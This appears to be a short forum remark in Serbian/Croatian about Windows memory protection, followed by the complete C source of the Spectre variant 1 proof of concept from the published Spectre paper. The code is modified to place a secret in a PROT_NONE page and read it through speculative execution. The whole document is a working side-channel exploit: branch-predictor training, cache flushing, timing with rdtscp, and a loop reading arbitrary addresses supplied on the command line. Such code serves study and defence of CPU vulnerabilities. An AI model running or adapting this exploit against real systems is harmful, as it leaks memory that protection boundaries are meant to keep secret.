Za Windows mora VirtualProtect nakon alokacije sa VirtualAlloc ili plain malloc ali treba ti alignovano na 4096 da bi ceo segment mogao,
ne znam sada za Windows jel radi na unaligned.
/*********************************************************************
*
* Spectre PoC
*
* This source code originates from the example code provided in the
* "Spectre Attacks: Exploiting Speculative Execution" paper found at
* https://spectreattack.com/spectre.pdf
*
* Minor modifications have been made to fix compilation errors and
* improve documentation where possible.
*
**********************************************************************/
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtsc, rdtscp, clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#ifdef NOCLFLUSH
#define CACHE_FLUSH_ITERATIONS 2048
#define CACHE_FLUSH_STRIDE 4096
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];
#endif
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
#ifdef NOCLFLUSH
int junk2 = 0;
int l;
#endif
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
#ifndef NOCLFLUSH
_mm_clflush( & array1_size);
#else
/* Alternative to using clflush to flush the CPU cache */
/* Read addresses at 4096-byte intervals out of a large array.
Do this around 2000 times, or more depending on CPU cache size. */
for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) {
junk2 = cache_flush_array[l];
}
#endif
/* Delay (can also mfence) */
for (volatile int z = 0; z < 100; z++) {}
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
/*
We need to accuratly measure the memory access to the current index of the
array so we can determine which index was cached by the malicious mispredicted code.
The best way to do this is to use the rdtscp instruction, which measures current
processor ticks, and is also serialized.
*/
#ifndef NORDTSCP
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#else
/*
The rdtscp instruction was instroduced with the x86-64 extensions.
Many older 32-bit processors won't support this, so we need to use
the equivalent but non-serialized tdtsc instruction instead.
*/
#ifndef NOMFENCE
/*
Since the rdstc instruction isn't serialized, newer processors will try to
reorder it, ruining its value as a timing mechanism.
To get around this, we use the mfence instruction to introduce a memory
barrier and force serialization. mfence is used because it is portable across
Intel and AMD.
*/
_mm_mfence();
time1 = __rdtsc(); /* READ TIMER */
_mm_mfence();
junk = * addr; /* MEMORY ACCESS TO TIME */
_mm_mfence();
time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
_mm_mfence();
#else
/*
The mfence instruction was introduced with the SSE2 instruction set, so
we have to ifdef it out on pre-SSE2 processors.
Luckily, these older processors don't seem to reorder the rdtsc instruction,
so not having mfence on older processors is less of an issue.
*/
time1 = __rdtsc(); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#endif
#endif
if (time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
/*
* Command line arguments:
* 1: Cache hit threshold (int)
* 2: Malicious address start (size_t)
* 3: Malicious address count (int)
*/
int main(int argc,
const char * * argv) {
/* Default to a cache hit threshold of 80 */
int cache_hit_threshold = 80;
char* secret1 = mmap(0,4096,PROT_READ | PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
printf("before %p %p\n",secret1,array1);
memcpy(secret1,secret,strlen(secret));
mprotect(secret1,4096,PROT_NONE);
secret = secret1;
printf("guess now\n");
/* Default for malicious_x is the secret string address */
size_t malicious_x = (size_t)(secret - (char * ) array1);
/* Default addresses to read is 40 (which is the length of the secret string) */
int len = 40;
int score[2];
uint8_t value[2];
int i;
#ifdef NOCLFLUSH
for (i = 0; i < sizeof(cache_flush_array); i++) {
cache_flush_array[i] = 1;
}
#endif
for (i = 0; i < sizeof(array2); i++) {
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
}
/* Parse the cache_hit_threshold from the first command line argument.
(OPTIONAL) */
if (argc >= 2) {
sscanf(argv[1], "%d", &cache_hit_threshold);
}
/* Parse the malicious x address and length from the second and third
command line argument. (OPTIONAL) */
if (argc >= 4) {
sscanf(argv[2], "%p", (void * * )( &malicious_x));
/* Convert input value into a pointer */
malicious_x -= (size_t) array1;
sscanf(argv[3], "%d", &len);
}
/* Print git commit hash */
#ifdef GIT_COMMIT_HASH
printf("Version: commit " GIT_COMMIT_HASH "\n");
#endif
/* Print cache hit threshold */
printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);
/* Print build configuration */
printf("Build: ");
#ifndef NORDTSCP
printf("RDTSCP_SUPPORTED ");
#else
printf("RDTSCP_NOT_SUPPORTED ");
#endif
#ifndef NOMFENCE
printf("MFENCE_SUPPORTED ");
#else
printf("MFENCE_NOT_SUPPORTED");
#endif
#ifndef NOCLFLUSH
printf("CLFLUSH_SUPPORTED ");
#else
printf("CLFLUSH_NOT_SUPPORTED ");
#endif
printf("\n");
printf("Reading %d bytes:\n", len);
/* Start the read loop to read each address */
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
/* Call readMemoryByte with the required cache hit threshold and
malicious x address. value and score are arrays that are
populated with the results.
*/
readMemoryByte(cache_hit_threshold, malicious_x++, value, score);
/* Display the results */
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0) {
printf("(second best: 0x%02X=’%c’ score=%d)", value[1],
(value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
}
printf("\n");
}
return (0);
}